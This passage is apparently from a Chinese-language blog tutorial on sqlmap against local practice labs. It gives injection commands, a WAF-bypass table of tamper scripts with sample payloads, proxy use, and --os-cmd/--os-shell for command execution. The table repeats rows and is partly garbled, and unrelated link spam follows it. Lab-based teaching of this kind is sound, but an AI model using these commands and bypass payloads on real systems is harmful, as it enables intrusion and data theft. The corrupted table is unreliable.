sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 -D pikachu --technique=T --time-sec=6

6. 修改超时时间

有的网页响应比较慢,可以使用 --time-out 这个参数来修改访问超时的时间。默认是30秒

sqlmap -u "http://192.168.239.132/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -v 3 --timeout=10

7. 修改默认最大线程

默认最大线程是10,可以设置线程最大为100
修改文件:/usr/share/sqlmap/lib/core/settings.py
MAX_NUMBER_OF_THREADS = 100

体验一下,方便起见,拿我物理机上的sqlmap来演示。
原始状态下:设置线程为20的时候,被告知最大线程是10

现在将其修改为最大线程100,此时就可以使用20线程了。

8. 绕WAF

目前很多网站都使用waf对网站进行保护,在测试SQL注入时,waf会对请求过来的流量进行拦截,导致SQLMAP请求的内容无法到达目标,无法进行安全检测。sqlmap使用–tamper命令,可以选择合适的脚本绕过waf。
使用 sqlmap --list-tampers 查看sqlmap的脚本列表

脚本名称 脚本名称解释 作用 实现方式
apostrophemask.py apostrophemask.py 用utf8代替引号 (“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py 用base64编码替换 (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py 围绕SQL关键字添加多个空格 (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’
space2plus.py 用+替换空格 (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’
nonrecursivereplacement.py 双重查询语句。取代predefined

SQL关键字with表示 suitable for
替代(例如
.replace(“SELECT”、”")) filters | (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’ | |
| space2randomblank.py | 代替空格字符(“”)从一个随机的
空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ | |
| unionalltounion.py | 替换UNION ALL SELECT UNION
SELECT | (’-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ | |
| securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=‘0having’” | |
| space2hash.py | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | 1 AND 9227=9227’ '1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227= |
| equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
| space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
| space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| percentage.py | asp允许每个字符前面添加一个%
号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| sp_password.py | 追加sp_password’从DBMS日志
的自动模糊处理的有效载荷的末
尾 | ('1 AND 9227=9227-- ') ‘1 AND 9227=9227-- sp_password’ | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| equaltolike.py | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FR |
| greatest.py | 绕过过滤’>’ ,用GREATEST替换大
于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ | |
| apostrophenullencode.py | 绕过过滤双引号,替换字符和双
引号。 | tamper(“1 AND ‘1’='1”) ‘1 AND %00%271%00%27=%00%271’ | |
| ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类
似’IFNULL(A, B)’为’IF(ISNULL(A),
B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ | |
| space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
| modsecurityversioned.py | 过滤空格,包含完整的查询版本
注释 | (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’ | |
| space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’ | |
| space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一
个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’ | |
| bluecoat.py | 代替空格字符后与一个有效的随
机空白字符的SQL语句。 然后替
换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ | |
| percentage.py | asp允许每个字符前面添加一个%
号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| versionedkeywords.py | Encloses each non-function
keyword with versioned MySQL
comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output:
1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output:
1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# | |
| halfversionedmorekeywords.py | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,5
NULL# AND ‘QDWa’='QDWa * Output:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,5
NULL, NULL#/!0AND ‘QDWa’=‘QDWa |
| halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,
每个关键字之前添加 mysql版本
评论 | 1.("value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa")
2."value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND
‘QDWa’='QDWa" | |
| space2morehash.py | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND% |
| greatest.py | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
| apostrophenullencode.py | 绕过过滤双引号,替换字符和双
引号。 | tamper(“1 AND ‘1’='1”) ‘1 AND %00%271%00%27=%00%271’ | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| greatest.py | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
| apostrophenullencode.py | 绕过过滤双引号,替换字符和双
引号。 | tamper(“1 AND ‘1’='1”) ‘1 AND %00%271%00%27=%00%271’ | |
| between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
| percentage.py | asp允许每个字符前面添加一个%
号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| space2comment.py | Replaces space character (‘ ‘)
with comments ‘//’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM//users | |
| appendnullbyte.py | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
| chardoubleencode.py | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output:
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545 |
| unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | |
| randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ | |

宽字节注入

以sql-lib靶场第32关为例,使用脚本unmagicquotes.py

sqlmap -u "http://192.168.239.132/sqli-labs-master/Less-32/?id=1" -tamper "unmagicquotes.py" -v 4

使用代理注入

使用参数:--proxy

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbmsmysql -v 1 --proxy=http://123.73.63.6:46603

使用代理池注入

使用参数:--proxy-file 从文件中加载代理列表

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt

9. 命令执行

准备靶场

这里使用内部靶场 12server5 ,以NAT模式运行,设定为自动获取DNS、ip。之后启动护卫神-主机大师即可。

物理机修改hosts文件绑定靶机的地址即可。

尝试访问靶机地址,如果访问失败的话,可以尝试使用命令ipconfig /flushdns刷新本机DNS缓存,或者使用浏览器隐私模式尝试访问,或者换一款浏览器访问都行。

  1. 访问没问题

  1. 可以正常打开存在SQL注入的位置

攻击

注入点的当前用户是dba时,使用下面两个命令,一个是执行命令,一个是调用交互操作系统shell。

  • --os-cmd=net user 执行操作系统命令
  • --os-shell 调出交互式操作系统 shell

注意:由于Windows terminal中输入参数时,参数默认是灰色的,不便于肉眼识别。因此使用kali去攻击,所以这里还要修改一下kali的hosts文件,我刚才就是忘了这一步,空浪费一些时间。

  1. 确认自己有DBA权限(这一步可做可不做,没权限执行命令自然失败呗

    细说——sqlmap相关推荐

    1. pikachu靶场SQL,sqlmap解法

      GET型输入 字符型注入(此处细说): 随便输入点什么 URL http://192.168.56.1/pikachu2/vul/sqli/sqli_str.php?name=2121&sub ...

    2. sqlmap 连接mysql_sqlmap连接Mysql实现getshell | CN-SEC 中文网

      摘要 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. 语法为:" DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_N ...

    3. 匹夫细说C#:委托的简化语法,聊聊匿名方法和闭包

      0x00 前言 通过上一篇博客<匹夫细说C#:庖丁解牛聊委托,那些编译器藏的和U3D给的>的内容,我们实现了使用委托来构建我们自己的消息系统的过程.但是在日常的开发中,仍然有很多开发者因为 ...

    4. SQLMap安装步骤

      SQLMap是利用Python语言写的,所以需要将Python这个语言环境给安装上 : 1.首先下载Python(这里Python版本为2.7.2,可以下载不同或高版本的) 2.然后在下载sqlmap ...

    5. ibatis的there is no statement named xxx in this SqlMap

      报错情况如下: com.ibatis.sqlmap.client.SqlMapException: There is no statement named Control.insert-control ...

    6. sqlmap 常用操作

      经常会忘记参数所有借用imooc网上的截图 轮子就不重复造了,以下博文挺好的有需要自主参考http://www.cnblogs.com/anka9080/p/sqlmap.html通过关键词找注入点 ...

    7. sqlmap 获取mysql密码_利用sqlmap 获取管理员账号密码

      首先,先简单介绍下sqlmap 简介: sqlmap是一种开源的 支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Ac ...

    8. sqlmap 跑access_sqlmap注入Access

      什么是SQL注入***? SQL注入***是***对数据库进行***的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员 也越来越多.但是由于程序员的水平及经验也参差不齐,相 ...

    9. 细说Java主流日志工具库

      细说 Java 主流日志工具库 日志框架 java.util.logging (JUL) Log4j Logback Log4j2 Log4j vs Logback vs Log4j2 日志门面 co ...

    最新文章

    1. 深度学习的非主流应用
    2. S5PV210开发 -- QT4.8 移植
    3. redis 保存 array list 区别_Redis科普篇
    4. C# 特性(Attribute)入门教程
    5. 用Unity3D实现可展开公告版
    6. BeanUtils.copyProperties 需要getset方法支持
    7. SAP UI5 应用开发教程之五十五 - 如何将本地 SAP UI5 应用通过 Node.js Express 部署到公网上
    8. Android 代码混淆之部分类不混淆的技巧
    9. mysql 图像数据类型_MySQL数据类型
    10. ubuntu 11.10英文界面下中文字体显示楷体的问题
    11. 图书馆管理系统(使用数据库实现)
    12. 最短路——迪杰斯特拉算法
    13. Windows无法访问指定设备路径或文件,您可能没有合适的权限访问这个项目
    14. 华为手机图标怎么变小_华为手机字太小看不清?那是你不会设置!四种方法让手机显示变大...
    15. 3.3程序设计框架架构基础相关知识点-技术
    16. 软件在环测试 Software in-The-Loop Test
    17. Linux常用命令大全(史无前例的命令大全)
    18. html中点击a标签视频在新页面播放
    19. Python 63个内置函数超级详解
    20. 中移动联合IMT-2020推进组发布倡议促5G与NFV/SDN协同发展

    热门文章

    1. 【AI with ML】第 5 章 :自然语言处理简介
    2. 转载:Python 的关键字 yield 有哪些用法和用途?
    3. [渝粤教育] 西南科技大学 财务管理与分析 在线考试复习资料(2)
    4. Excel中 VLOOKUP 函数的使用
    5. win10可以运行linux模拟器,Win10将原生兼容安卓App,但模拟器不会被打败
    6. 如果只想推广俄语语言市场该如何利用谷歌?
    7. 国内如何下载并使用LINE(免费提供apk安装包)
    8. C#链接SQL知识点
    9. 【微信小程序】WXML WXSS JS
    10. 语音智能小车:语音识别模块LD3320+STMF103